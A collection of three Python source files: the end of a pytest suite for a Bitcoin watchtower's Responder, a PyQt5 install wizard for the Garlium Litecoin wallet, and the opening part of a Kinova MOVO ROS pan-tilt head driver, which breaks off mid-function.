We'll create 3 type of txs: irrevocably resolved, confirmed but not irrevocably resolved, and unconfirmed trackers_ir_resolved = {uuid4().hex: generate_dummy_tracker() for _ in range(10)} trackers_confirmed = {uuid4().hex: generate_dummy_tracker() for _ in range(10)} ir_resolved_penalties = [tracker.penalty_txid for _, tracker in trackers_ir_resolved.items()] trackers_unconfirmed = {} unconfirmed_txs = [] for commitment_tx in range(10): tracker = generate_dummy_tracker() unconfirmed_txs.append(tracker.penalty_txid) trackers_unconfirmed[uuid4().hex] = tracker # Get all the trackers summary to add the to the Responder all_trackers_summary = {} all_trackers_summary.update(trackers_ir_resolved) all_trackers_summary.update(trackers_confirmed) all_trackers_summary.update(trackers_unconfirmed) for uuid, tracker in all_trackers_summary.items(): all_trackers_summary[uuid] = tracker.get_summary() # Mock the data in the Responder monkeypatch.setattr(responder, "unconfirmed_txs", unconfirmed_txs) monkeypatch.setattr(responder, "trackers", all_trackers_summary) monkeypatch.setattr( responder.carrier, "get_transaction", lambda x: {"confirmations": 100} if x in ir_resolved_penalties else {"confirmations": 99}, ) # Let's check completed_trackers = responder.get_completed_trackers() ended_trackers_keys = list(trackers_ir_resolved.keys()) assert set(completed_trackers) == set(ended_trackers_keys) # Generating 1 additional blocks should also include confirmed monkeypatch.setattr( responder.carrier, "get_transaction", lambda x: {"confirmations": 101} if x in ir_resolved_penalties else {"confirmations": 100}, ) completed_trackers = responder.get_completed_trackers() ended_trackers_keys.extend(list(trackers_confirmed.keys())) assert set(completed_trackers) == set(ended_trackers_keys) def test_get_outdated_trackers(responder, generate_dummy_tracker, monkeypatch): # Expired trackers are those whose subscription has reached the expiry block and have not been confirmed. # Confirmed trackers that have reached their expiry will be kept until completed # Create some trackers and add them to the corresponding user in the Gatekeeper outdated_unconfirmed_trackers = {} outdated_unconfirmed_trackers_next = {} outdated_confirmed_trackers = {} unconfirmed_txs = [] for i in range(20): uuid = uuid4().hex dummy_tracker = generate_dummy_tracker() # Make 10 of them confirmed and 10 of them unconfirmed expiring next block and 10 unconfirmed expiring in two if i % 3: outdated_unconfirmed_trackers[uuid] = dummy_tracker unconfirmed_txs.append(dummy_tracker.penalty_txid) elif i % 2: outdated_unconfirmed_trackers_next[uuid] = dummy_tracker unconfirmed_txs.append(dummy_tracker.penalty_txid) else: outdated_confirmed_trackers[uuid] = dummy_tracker # Get all the trackers summary to add the to the Responder all_trackers_summary = {} all_trackers_summary.update(outdated_confirmed_trackers) all_trackers_summary.update(outdated_unconfirmed_trackers) all_trackers_summary.update(outdated_unconfirmed_trackers_next) for uuid, tracker in all_trackers_summary.items(): all_trackers_summary[uuid] = tracker.get_summary() # Add the data to the the Gatekeeper and the Responder init_block = 0 monkeypatch.setattr(responder, "trackers", all_trackers_summary) monkeypatch.setattr(responder, "unconfirmed_txs", unconfirmed_txs) # Mock the expiry for this block, next block and two blocks from now (plus EXPIRY_DELTA) monkeypatch.setattr( responder.gatekeeper, "get_outdated_appointments", lambda x: [] if x == init_block else outdated_unconfirmed_trackers if x == init_block + 1 + config.get("EXPIRY_DELTA") else outdated_unconfirmed_trackers_next, ) # Currently nothing should be outdated assert responder.get_outdated_trackers(init_block) == [] # 1 block (+ EXPIRY_DELTA) afterwards only user1's confirmed trackers should be outdated assert responder.get_outdated_trackers(init_block + 1 + config.get("EXPIRY_DELTA")) == list( outdated_unconfirmed_trackers.keys() ) # 2 blocks (+ EXPIRY_DELTA) block after user2's should be outdated assert responder.get_outdated_trackers(init_block + 2 + config.get("EXPIRY_DELTA")) == list( outdated_unconfirmed_trackers_next.keys() ) def test_rebroadcast(responder, generate_dummy_tracker, monkeypatch): # Rebroadcast will resend the transactions that have missed enough confirmations and reset the confirmation counter txs_to_rebroadcast = [] trackers = [generate_dummy_tracker() for _ in range(20)] # Add all trackers to the Responder and flag some as to rebroadcast for i, tracker in enumerate(trackers): # We'll add the data manually so we don't need to mock all the data structures + db responder.add_tracker( uuid4().hex, tracker.locator, tracker.dispute_txid, tracker.penalty_txid, tracker.penalty_rawtx, tracker.user_id, ) # Let's add some of the txs in the rebroadcast list if (i % 2) == 0: txs_to_rebroadcast.append(tracker.penalty_txid) # Mock the interaction with the Carrier monkeypatch.setattr(responder.carrier, "send_transaction", mock_receipt_true) # Call rebroadcast and and check receipts = responder.rebroadcast(txs_to_rebroadcast) # All txs should have been delivered and the missed confirmation reset for txid, receipt in receipts: assert receipt.delivered assert txid in txs_to_rebroadcast assert responder.missed_confirmations[txid] == 0 # TESTS WITH BITCOIND UNREACHABLE # We need to test this with a real BlockProcessor def test_on_sync_bitcoind_crash(responder, block_processor): responder.block_processor = block_processor chain_tip = responder.block_processor.get_best_block_hash() run_test_blocking_command_bitcoind_crash( responder.block_processor.bitcoind_reachable, lambda: responder.on_sync(chain_tip) ) def test_do_watch_bitcoind_crash(responder, block_processor): responder.block_processor = block_processor # Let's start to watch do_watch_thread = Thread(target=responder.do_watch, daemon=True) do_watch_thread.start() time.sleep(2) # Block the responder responder.block_processor.bitcoind_reachable.clear() assert responder.block_queue.empty() # Mine a block and check how the Responder is blocked processing it best_tip = generate_blocks_with_delay(1, 2)[0] responder.block_queue.put(best_tip) time.sleep(2) assert responder.last_known_block != best_tip assert responder.block_queue.unfinished_tasks == 1 # Reestablish the connection and check back responder.block_processor.bitcoind_reachable.set() time.sleep(2) assert responder.last_known_block == best_tip assert responder.block_queue.unfinished_tasks == 0
installwizard.py
import os import sys import threading import traceback from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * from electrum_ltc import Wallet, WalletStorage from electrum_ltc.util import UserCancelled, InvalidPassword from electrum_ltc.base_wizard import BaseWizard, HWD_SETUP_DECRYPT_WALLET, GoBack from electrum_ltc.i18n import _ from .seed_dialog import SeedLayout, KeysLayout from .network_dialog import NetworkChoiceLayout from .util import * from .password_dialog import PasswordLayout, PasswordLayoutForHW, PW_NEW MSG_ENTER_PASSWORD = _("Choose a password to encrypt your wallet keys.") + '\n'\ + _("Leave this field empty if you want to disable encryption.") MSG_HW_STORAGE_ENCRYPTION = _("Set wallet file encryption.") + '\n'\ + _("Your wallet file does not contain secrets, mostly just metadata. ") \ + _("It also contains your master public key that allows watching your addresses.") + '\n\n'\ + _("Note: If you enable this setting, you will need your hardware device to open your wallet.") WIF_HELP_TEXT = (_('WIF keys are typed in Electrum, based on script type.') + '\n\n' + _('A few examples') + ':\n' + 'p2pkh:T4PsyoR5gC8B... \t-> LXqi2tzER...\n' + 'p2wpkh-p2sh:T4PsyoR5gC8B... \t-> MUuWxSpVC...\n' + 'p2wpkh:T4PsyoR5gC8B... \t-> ltc1q3fjf...') # note: full key is T4PsyoR5gC8BGEoTe8So7YQWPnvdkqTJqRVpLoMmZVqBsunDdeuJ class CosignWidget(QWidget): size = 120 def __init__(self, m, n): QWidget.__init__(self) self.R = QRect(0, 0, self.size, self.size) self.setGeometry(self.R) self.setMinimumHeight(self.size) self.setMaximumHeight(self.size) self.m = m self.n = n def set_n(self, n): self.n = n self.update() def set_m(self, m): self.m = m self.update() def paintEvent(self, event): bgcolor = self.palette().color(QPalette.Background) pen = QPen(bgcolor, 7, Qt.SolidLine) qp = QPainter() qp.begin(self) qp.setPen(pen) qp.setRenderHint(QPainter.Antialiasing) qp.setBrush(Qt.gray) for i in range(self.n): alpha = int(16* 360 * i/self.n) alpha2 = int(16* 360 * 1/self.n) qp.setBrush(Qt.green if i<self.m else Qt.gray) qp.drawPie(self.R, alpha, alpha2) qp.end() def wizard_dialog(func): def func_wrapper(*args, **kwargs): run_next = kwargs['run_next'] wizard = args[0] wizard.back_button.setText(_('Back') if wizard.can_go_back() else _('Cancel')) try: out = func(*args, **kwargs) except GoBack: wizard.go_back() if wizard.can_go_back() else wizard.close() return except UserCancelled: return #if out is None: # out = () if type(out) is not tuple: out = (out,) run_next(*out) return func_wrapper # WindowModalDialog must come first as it overrides show_error class InstallWizard(QDialog, MessageBoxMixin, BaseWizard): accept_signal = pyqtSignal() synchronized_signal = pyqtSignal(str) def __init__(self, config, app, plugins, storage): BaseWizard.__init__(self, config, plugins, storage) QDialog.__init__(self, None) self.setWindowTitle('Garlium - ' + _('Install Wizard')) self.app = app self.config = config # Set for base base class self.language_for_seed = config.get('language') self.setMinimumSize(600, 400) self.accept_signal.connect(self.accept) self.title = QLabel() self.main_widget = QWidget() self.back_button = QPushButton(_("Back"), self) self.back_button.setText(_('Back') if self.can_go_back() else _('Cancel')) self.next_button = QPushButton(_("Next"), self) self.next_button.setDefault(True) self.logo = QLabel() self.please_wait = QLabel(_("Please wait...")) self.please_wait.setAlignment(Qt.AlignCenter) self.icon_filename = None self.loop = QEventLoop() self.rejected.connect(lambda: self.loop.exit(0)) self.back_button.clicked.connect(lambda: self.loop.exit(1)) self.next_button.clicked.connect(lambda: self.loop.exit(2)) outer_vbox = QVBoxLayout(self) inner_vbox = QVBoxLayout() inner_vbox.addWidget(self.title) inner_vbox.addWidget(self.main_widget) inner_vbox.addStretch(1) inner_vbox.addWidget(self.please_wait) inner_vbox.addStretch(1) scroll_widget = QWidget() scroll_widget.setLayout(inner_vbox) scroll = QScrollArea() scroll.setWidget(scroll_widget) scroll.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) scroll.setWidgetResizable(True) icon_vbox = QVBoxLayout() icon_vbox.addWidget(self.logo) icon_vbox.addStretch(1) hbox = QHBoxLayout() hbox.addLayout(icon_vbox) hbox.addSpacing(5) hbox.addWidget(scroll) hbox.setStretchFactor(scroll, 1) outer_vbox.addLayout(hbox) outer_vbox.addLayout(Buttons(self.back_button, self.next_button)) self.set_icon(':icons/garlium.png') self.show() self.raise_() self.refresh_gui() # Need for QT on MacOSX. Lame. def run_and_get_wallet(self, get_wallet_from_daemon): vbox = QVBoxLayout() hbox = QHBoxLayout() hbox.addWidget(QLabel(_('Wallet') + ':')) self.name_e = QLineEdit() hbox.addWidget(self.name_e) button = QPushButton(_('Choose...')) hbox.addWidget(button) vbox.addLayout(hbox) self.msg_label = QLabel('') vbox.addWidget(self.msg_label) hbox2 = QHBoxLayout() self.pw_e = QLineEdit('', self) self.pw_e.setFixedWidth(150) self.pw_e.setEchoMode(2) self.pw_label = QLabel(_('Password') + ':') hbox2.addWidget(self.pw_label) hbox2.addWidget(self.pw_e) hbox2.addStretch() vbox.addLayout(hbox2) self.set_layout(vbox, title=_('Garlium wallet')) wallet_folder = os.path.dirname(self.storage.path) def on_choose(): path, __ = QFileDialog.getOpenFileName(self, "Select your wallet file", wallet_folder) if path: self.name_e.setText(path) def on_filename(filename): path = os.path.join(wallet_folder, filename) wallet_from_memory = get_wallet_from_daemon(path) try: if wallet_from_memory: self.storage = wallet_from_memory.storage else: self.storage = WalletStorage(path, manual_upgrades=True) self.next_button.setEnabled(True) except BaseException: traceback.print_exc(file=sys.stderr) self.storage = None self.next_button.setEnabled(False) if self.storage: if not self.storage.file_exists(): msg =_("This file does not exist.") + '\n' \ + _("Press 'Next' to create this wallet, or choose another file.") pw = False elif not wallet_from_memory: if self.storage.is_encrypted_with_user_pw(): msg = _("This file is encrypted with a password.") + '\n' \ + _('Enter your password or choose another file.') pw = True elif self.storage.is_encrypted_with_hw_device(): msg = _("This file is encrypted using a hardware device.") + '\n' \ + _("Press 'Next' to choose device to decrypt.") pw = False else: msg = _("Press 'Next' to open this wallet.") pw = False else: msg = _("This file is already open in memory.") + "\n" \ + _("Press 'Next' to create/focus window.") pw = False else: msg = _('Cannot read file') pw = False self.msg_label.setText(msg) if pw: self.pw_label.show() self.pw_e.show() self.pw_e.setFocus() else: self.pw_label.hide() self.pw_e.hide() button.clicked.connect(on_choose) self.name_e.textChanged.connect(on_filename) n = os.path.basename(self.storage.path) self.name_e.setText(n) while True: if self.loop.exec_() != 2: # 2 = next return if self.storage.file_exists() and not self.storage.is_encrypted(): break if not self.storage.file_exists(): break wallet_from_memory = get_wallet_from_daemon(self.storage.path) if wallet_from_memory: return wallet_from_memory if self.storage.file_exists() and self.storage.is_encrypted(): if self.storage.is_encrypted_with_user_pw(): password = self.pw_e.text() try: self.storage.decrypt(password) break except InvalidPassword as e: QMessageBox.information(None, _('Error'), str(e)) continue except BaseException as e: traceback.print_exc(file=sys.stdout) QMessageBox.information(None, _('Error'), str(e)) return elif self.storage.is_encrypted_with_hw_device(): try: self.run('choose_hw_device', HWD_SETUP_DECRYPT_WALLET) except InvalidPassword as e: QMessageBox.information( None, _('Error'), _('Failed to decrypt using this hardware device.') + '\n' + _('If you use a passphrase, make sure it is correct.')) self.stack = [] return self.run_and_get_wallet(get_wallet_from_daemon) except BaseException as e: traceback.print_exc(file=sys.stdout) QMessageBox.information(None, _('Error'), str(e)) return if self.storage.is_past_initial_decryption(): break else: return else: raise Exception('Unexpected encryption version') path = self.storage.path if self.storage.requires_split(): self.hide() msg = _("The wallet '{}' contains multiple accounts, which are no longer supported since Garlium 2.7.\n\n" "Do you want to split your wallet into multiple files?").format(path) if not self.question(msg): return file_list = '\n'.join(self.storage.split_accounts()) msg = _('Your accounts have been moved to') + ':\n' + file_list + '\n\n'+ _('Do you want to delete the old file') + ':\n' + path if self.question(msg): os.remove(path) self.show_warning(_('The file was removed')) return action = self.storage.get_action() if action and action not in ('new', 'upgrade_storage'): self.hide() msg = _("The file '{}' contains an incompletely created wallet.\n" "Do you want to complete its creation now?").format(path) if not self.question(msg): if self.question(_("Do you want to delete '{}'?").format(path)): os.remove(path) self.show_warning(_('The file was removed')) return self.show() if action: # self.wallet is set in run self.run(action) return self.wallet self.wallet = Wallet(self.storage) return self.wallet def finished(self): """Called in hardware client wrapper, in order to close popups.""" return def on_error(self, exc_info): if not isinstance(exc_info[1], UserCancelled): traceback.print_exception(*exc_info) self.show_error(str(exc_info[1])) def set_icon(self, filename): prior_filename, self.icon_filename = self.icon_filename, filename self.logo.setPixmap(QPixmap(filename).scaledToWidth(60, mode=Qt.SmoothTransformation)) return prior_filename def set_layout(self, layout, title=None, next_enabled=True): self.title.setText("<b>%s</b>"%title if title else "") self.title.setVisible(bool(title)) # Get rid of any prior layout by assigning it to a temporary widget prior_layout = self.main_widget.layout() if prior_layout: QWidget().setLayout(prior_layout) self.main_widget.setLayout(layout) self.back_button.setEnabled(True) self.next_button.setEnabled(next_enabled) if next_enabled: self.next_button.setFocus() self.main_widget.setVisible(True) self.please_wait.setVisible(False) def exec_layout(self, layout, title=None, raise_on_cancel=True, next_enabled=True): self.set_layout(layout, title, next_enabled) result = self.loop.exec_() if not result and raise_on_cancel: raise UserCancelled if result == 1: raise GoBack from None self.title.setVisible(False) self.back_button.setEnabled(False) self.next_button.setEnabled(False) self.main_widget.setVisible(False) self.please_wait.setVisible(True) self.refresh_gui() return result def refresh_gui(self): # For some reason, to refresh the GUI this needs to be called twice self.app.processEvents() self.app.processEvents() def remove_from_recently_open(self, filename): self.config.remove_from_recently_open(filename) def text_input(self, title, message, is_valid, allow_multi=False): slayout = KeysLayout(parent=self, header_layout=message, is_valid=is_valid, allow_multi=allow_multi) self.exec_layout(slayout, title, next_enabled=False) return slayout.get_text() def seed_input(self, title, message, is_seed, options): slayout = SeedLayout(title=message, is_seed=is_seed, options=options, parent=self) self.exec_layout(slayout, title, next_enabled=False) return slayout.get_seed(), slayout.is_bip39, slayout.is_ext @wizard_dialog def add_xpub_dialog(self, title, message, is_valid, run_next, allow_multi=False, show_wif_help=False): header_layout = QHBoxLayout() label = WWLabel(message) label.setMinimumWidth(400) header_layout.addWidget(label) if show_wif_help: header_layout.addWidget(InfoButton(WIF_HELP_TEXT), alignment=Qt.AlignRight) return self.text_input(title, header_layout, is_valid, allow_multi) @wizard_dialog def add_cosigner_dialog(self, run_next, index, is_valid): title = _("Add Cosigner") + " %d"%index message = ' '.join([ _('Please enter the master public key (xpub) of your cosigner.'), _('Enter their master private key (xprv) if you want to be able to sign for them.') ]) return self.text_input(title, message, is_valid) @wizard_dialog def restore_seed_dialog(self, run_next, test): options = [] if self.opt_ext: options.append('ext') if self.opt_bip39: options.append('bip39') title = _('Enter Seed') message = _('Please enter your seed phrase in order to restore your wallet.') return self.seed_input(title, message, test, options) @wizard_dialog def confirm_seed_dialog(self, run_next, test): self.app.clipboard().clear() title = _('Confirm Seed') message = ' '.join([ _('Your seed is important!'), _('If you lose your seed, your money will be permanently lost.'), _('To make sure that you have properly saved your seed, please retype it here.') ]) seed, is_bip39, is_ext = self.seed_input(title, message, test, None) return seed @wizard_dialog def show_seed_dialog(self, run_next, seed_text): title = _("Your wallet generation seed is:") slayout = SeedLayout(seed=seed_text, title=title, msg=True, options=['ext']) self.exec_layout(slayout) return slayout.is_ext def pw_layout(self, msg, kind, force_disable_encrypt_cb): playout = PasswordLayout(None, msg, kind, self.next_button, force_disable_encrypt_cb=force_disable_encrypt_cb) playout.encrypt_cb.setChecked(True) self.exec_layout(playout.layout()) return playout.new_password(), playout.encrypt_cb.isChecked() @wizard_dialog def request_password(self, run_next, force_disable_encrypt_cb=False): """Request the user enter a new password and confirm it. Return the password or None for no password.""" return self.pw_layout(MSG_ENTER_PASSWORD, PW_NEW, force_disable_encrypt_cb) @wizard_dialog def request_storage_encryption(self, run_next): playout = PasswordLayoutForHW(None, MSG_HW_STORAGE_ENCRYPTION, PW_NEW, self.next_button) playout.encrypt_cb.setChecked(True) self.exec_layout(playout.layout()) return playout.encrypt_cb.isChecked() def show_restore(self, wallet, network): # FIXME: these messages are shown after the install wizard is # finished and the window closed. On macOS they appear parented # with a re-appeared ghost install wizard window... if network: def task(): wallet.wait_until_synchronized() if wallet.is_found(): msg = _("Recovery successful") else: msg = _("No transactions found for this seed") self.synchronized_signal.emit(msg) self.synchronized_signal.connect(self.show_message) t = threading.Thread(target = task) t.daemon = True t.start() else: msg = _("This wallet was restored offline. It may " "contain more addresses than displayed.") self.show_message(msg) @wizard_dialog def confirm_dialog(self, title, message, run_next): self.confirm(message, title) def confirm(self, message, title): label = WWLabel(message) vbox = QVBoxLayout() vbox.addWidget(label) self.exec_layout(vbox, title) @wizard_dialog def action_dialog(self, action, run_next): self.run(action) def terminate(self): self.accept_signal.emit() def waiting_dialog(self, task, msg, on_finished=None): label = WWLabel(msg) vbox = QVBoxLayout() vbox.addSpacing(100) label.setMinimumWidth(300) label.setAlignment(Qt.AlignCenter) vbox.addWidget(label) self.set_layout(vbox, next_enabled=False) self.back_button.setEnabled(False) t = threading.Thread(target=task) t.start() while True: t.join(1.0/60) if t.is_alive(): self.refresh_gui() else: break if on_finished: on_finished() @wizard_dialog def choice_dialog(self, title, message, choices, run_next): c_values = [x[0] for x in choices] c_titles = [x[1] for x in choices] clayout = ChoicesLayout(message, c_titles) vbox = QVBoxLayout() vbox.addLayout(clayout.layout()) self.exec_layout(vbox, title) action = c_values[clayout.selected_index()] return action def query_choice(self, msg, choices): """called by hardware wallets""" clayout = ChoicesLayout(msg, choices) vbox = QVBoxLayout() vbox.addLayout(clayout.layout()) self.exec_layout(vbox, '') return clayout.selected_index() @wizard_dialog def choice_and_line_dialog(self, title, message1, choices, message2, test_text, run_next) -> (str, str): vbox = QVBoxLayout() c_values = [x[0] for x in choices] c_titles = [x[1] for x in choices] c_default_text = [x[2] for x in choices] def on_choice_click(clayout): idx = clayout.selected_index() line.setText(c_default_text[idx]) clayout = ChoicesLayout(message1, c_titles, on_choice_click) vbox.addLayout(clayout.layout()) vbox.addSpacing(50) vbox.addWidget(WWLabel(message2)) line = QLineEdit() def on_text_change(text): self.next_button.setEnabled(test_text(text)) line.textEdited.connect(on_text_change) on_choice_click(clayout) # set default text for "line" vbox.addWidget(line) self.exec_layout(vbox, title) choice = c_values[clayout.selected_index()] return str(line.text()), choice @wizard_dialog def line_dialog(self, run_next, title, message, default, test, warning='', presets=()): vbox = QVBoxLayout() vbox.addWidget(WWLabel(message)) line = QLineEdit() line.setText(default) def f(text): self.next_button.setEnabled(test(text)) line.textEdited.connect(f) vbox.addWidget(line) vbox.addWidget(WWLabel(warning)) for preset in presets: button = QPushButton(preset[0]) button.clicked.connect(lambda __, text=preset[1]: line.setText(text)) button.setMinimumWidth(150) hbox = QHBoxLayout() hbox.addWidget(button, alignment=Qt.AlignCenter) vbox.addLayout(hbox) self.exec_layout(vbox, title, next_enabled=test(default)) return ' '.join(line.text().split()) @wizard_dialog def show_xpub_dialog(self, xpub, run_next): msg = ' '.join([ _("Here is your master public key."), _("Please share it with your cosigners.") ]) vbox = QVBoxLayout() layout = SeedLayout(xpub, title=msg, icon=False, for_seed_words=False) vbox.addLayout(layout.layout()) self.exec_layout(vbox, _('Master Public Key')) return None def init_network(self, network): message = _("Garlium communicates with remote servers to get " "information about your transactions and addresses. The " "servers all fulfill the same purpose only differing in " "hardware. In most cases you simply want to let Garlium " "pick one at random. However if you prefer feel free to " "select a server manually.") choices = [_("Auto connect"), _("Select server manually")] title = _("How do you want to connect to a server? ") clayout = ChoicesLayout(message, choices) self.back_button.setText(_('Cancel')) self.exec_layout(clayout.layout(), title) r = clayout.selected_index() if r == 1: nlayout = NetworkChoiceLayout(network, self.config, wizard=True) if self.exec_layout(nlayout.layout()): nlayout.accept() else: network.auto_connect = True self.config.set_key('auto_connect', True, True) @wizard_dialog def multisig_dialog(self, run_next): cw = CosignWidget(2, 2) m_edit = QSlider(Qt.Horizontal, self) n_edit = QSlider(Qt.Horizontal, self) n_edit.setMinimum(2) n_edit.setMaximum(15) m_edit.setMinimum(1) m_edit.setMaximum(2) n_edit.setValue(2) m_edit.setValue(2) n_label = QLabel() m_label = QLabel() grid = QGridLayout() grid.addWidget(n_label, 0, 0) grid.addWidget(n_edit, 0, 1) grid.addWidget(m_label, 1, 0) grid.addWidget(m_edit, 1, 1) def on_m(m): m_label.setText(_('Require {0} signatures').format(m)) cw.set_m(m) def on_n(n): n_label.setText(_('From {0} cosigners').format(n)) cw.set_n(n) m_edit.setMaximum(n) n_edit.valueChanged.connect(on_n) m_edit.valueChanged.connect(on_m) on_n(2) on_m(2) vbox = QVBoxLayout() vbox.addWidget(cw) vbox.addWidget(WWLabel(_("Choose the number of signatures needed to unlock funds in your wallet:"))) vbox.addLayout(grid) self.exec_layout(vbox, _("Multi-Signature Wallet")) m = int(m_edit.value()) n = int(n_edit.value()) return (m, n)
movo_pan_tilt.py
"""-------------------------------------------------------------------- Copyright (c) 2017, Kinova Robotics inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \file movo_linear_actuator.py \brief runs the driver for the linear actuator \Platform: Ubuntu 16.04 LTS / ROS Kinetic --------------------------------------------------------------------""" from system_defines import * from utils import * from movo_msgs.msg import PanTiltCmd, PanTiltFdbk, PVA from sensor_msgs.msg import JointState from trajectory_msgs.msg import JointTrajectory,JointTrajectoryPoint from control_msgs.msg import JointTrajectoryControllerState from control_msgs.srv import QueryTrajectoryState,QueryTrajectoryStateResponse from io_eth import IoEthThread import multiprocessing import threading import select import rospy import operator class PanTiltIO(object): def __init__(self,movo_ip='10.66.171.5'): self.init_success = False """ Create the thread to run MOVO Linear actuator command interface """ self._cmd_buffer = multiprocessing.Queue() self.tx_queue_ = multiprocessing.Queue() self.rx_queue_ = multiprocessing.Queue() self.comm = IoEthThread((movo_ip,6237), self.tx_queue_, self.rx_queue_, max_packet_size=KINOVA_ACTUATOR_RSP_SIZE_BYTES) if (False == self.comm.link_up): rospy.logerr("Could not open socket for MOVO pan_tilt...exiting") self.Shutdown() return """ Initialize the publishers and subscribers for the node """ self.cmd_data = PanTiltCmd() self._last_cmd = JointTrajectoryPoint() self._init_cmds = True self.s = rospy.Subscriber("/movo/head/cmd", PanTiltCmd, self._add_motion_command_to_queue) self._jcc = rospy.Subscriber("/movo/head_controller/command",JointTrajectory,self._add_traj_command_to_queue) self.actuator_data = PanTiltFdbk() self.actuator_pub = rospy.Publisher("/movo/head/data", PanTiltFdbk, queue_size=10) self.js = JointState() self.js_pub = rospy.Publisher("/movo/head/joint_states", JointState, queue_size=10) self._jcs = JointTrajectoryControllerState() self._jcs_pub = rospy.Publisher("/movo/head_controller/state",JointTrajectoryControllerState,queue_size=10) self._jc_srv = rospy.Service('/movo/head_controller/query_state', QueryTrajectoryState, self._handle_state_query) """ Start the receive handler thread """ self.need_to_terminate = False self.terminate_mutex = threading.RLock() self.last_rsp_rcvd = rospy.get_time() self._rcv_thread = threading.Thread(target = self._run) self._rcv_thread.start() self._t1 = rospy.Timer(rospy.Duration(0.01),self._update_command_queue) """ Start streaming continuous data """ rospy.loginfo("Stopping the data stream") if (False == self._continuous_data(False)): rospy.logerr("Could not stop MOVO pan_tilt communication stream") self.Shutdown() return """ Start streaming continuous data """ rospy.loginfo("Starting the data stream") if (False == self._continuous_data(True)): rospy.logerr("Could not start MOVO pan_tilt communication stream") self.Shutdown() return rospy.loginfo("Movo Pan-Tilt Head Driver is up and running") self.init_success = True def Shutdown(self): with self.terminate_mutex: self.need_to_terminate = True rospy.loginfo("Movo pan_tilt has called the Shutdown method, terminating") self.js_pub.unregister() self.actuator_pub.unregister() self.s.unregister() self._jcs_pub.unregister() self._jcc.unregister() self._jc_srv.shutdown() self.comm.Close() self.tx_queue_.close() self.rx_queue_.close() def _run(self): while not self.need_to_terminate: """ Run until signaled to stop Perform the actions defined based on the flags passed out """ result = select.select([self.rx_queue_._reader],[],[],0.02) if len(result[0]) > 0: data = result[0][0].recv() with self.terminate_mutex: if not self.need_to_terminate: self._handle_rsp(data) def _handle_state_query(self,req): tmp = QueryTrajectoryStateResponse() tmp.name = ['pan_joint','tilt_joint'] tmp.position = [self.actuator_data.pan.pos_rad,self.actuator_data.tilt.pos_rad] tmp.velocity = [self.actuator_data.pan.vel_rps,self.actuator_data.tilt.vel_rps] tmp.acceleration = [0.0,0.0] return tmp def _update_command_queue(self,event): """ Send it """ if not self._cmd_buffer.empty(): tmp = self._cmd_buffer.get_nowait() cmds = [KINOVA_ACTUATOR_CMD_ID,[convert_float_to_u32(tmp.positions[0]), convert_float_to_u32(tmp.velocities[0]), convert_float_to_u32(tmp.accelerations[0]), convert_float_to_u32(tmp.positions[1]), convert_float_to_u32(tmp.velocities[1]), convert_float_to_u32(tmp.accelerations[1])]] self._last_cmd = tmp cmd_bytes = generate_cmd_bytes(cmds) self.tx_queue_.put(cmd_bytes) def _add_motion_command_to_queue(self,command): tmp = JointTrajectory() tmp.header = command.header tmp.joint_names = ['pan_joint','pan_joint'] tmp.points = [JointTrajectoryPoint()] tmp.points[0].positions = [command.pan_cmd.pos_rad,command.tilt_cmd.pos_rad] tmp.points[0].velocities = [command.pan_cmd.vel_rps,command.tilt_cmd.vel_rps] tmp.points[0].accelerations = [command.pan_cmd.acc_rps2,command.tilt_cmd.acc_rps2] self._cmd_buffer.put(tmp.points[0]) def _add_traj_command_to_queue(self,msg): for pnt in msg.points: self._cmd_buffer.put(pnt) def _add_config_command_to_queue(self,gp_cmd, gp_param): try: cmds = [EIB_GENERAL_CMD_ID,[gp_cmd,gp_param]] cmd_bytes = generate_cmd_bytes(cmds) self.tx_queue_.put(cmd_bytes) except: rospy.logerr("Config param failed, it is probably not known") return def _handle_rsp(self,data_bytes): valid_data = validate_response(data_bytes,KINOVA_ACTUATOR_RSP_SIZE_BYTES) if (False == valid_data): self.last_rsp_rcvd = rospy.get_time() rospy.logerr("bad movo pan_tilt data packet") return self.last_rsp_rcvd = rospy.get_time() data_bytes = data_bytes[2:] rsp_data = array.array('I',data_bytes.tostring()).tolist() rsp_data = rsp_data[:(len(rsp_data)-1)] rsp = [convert_u32_to_float(i) for i in rsp_data] self.actuator_data.header.stamp = rospy.get_rostime() self.actuator_data.header.seq +=1 for i in range(2): if (i==0): self.actuator_data.pan.current = (rsp[10*i]) self.actuator_data.pan.pos_rad = (rsp[10*i+1]) self.actuator_data.pan.vel_rps = (rsp[10*i+2]) self.actuator_data.pan.torque_nm = (rsp[10*i+3]) self.actuator_data.pan.pwm = (rsp[10*i+4]) self.actuator_data.pan.encoder_rad = (rsp[10*i+5]) self.actuator_data.pan.accel.x = (rsp[10*i+6]) self.actuator_data.pan.accel.y = (rsp[10*i+7]) self.actuator_data.pan.accel.z = (rsp[10*i+8]) self.actuator_data.pan.temperature_degC = (rsp[10*i+9]) else: self.actuator_data.tilt.current = (rsp[10*i]) self.actuator_data.tilt.pos_rad = (rsp[10*i+1]) self.actuator_data.tilt.vel_rps = (rsp[10*i+2]) self.actuator_data.tilt.torque_nm = (rsp[10*i+3]) self.actuator_data.tilt.pwm = (rsp[10*i+4]) 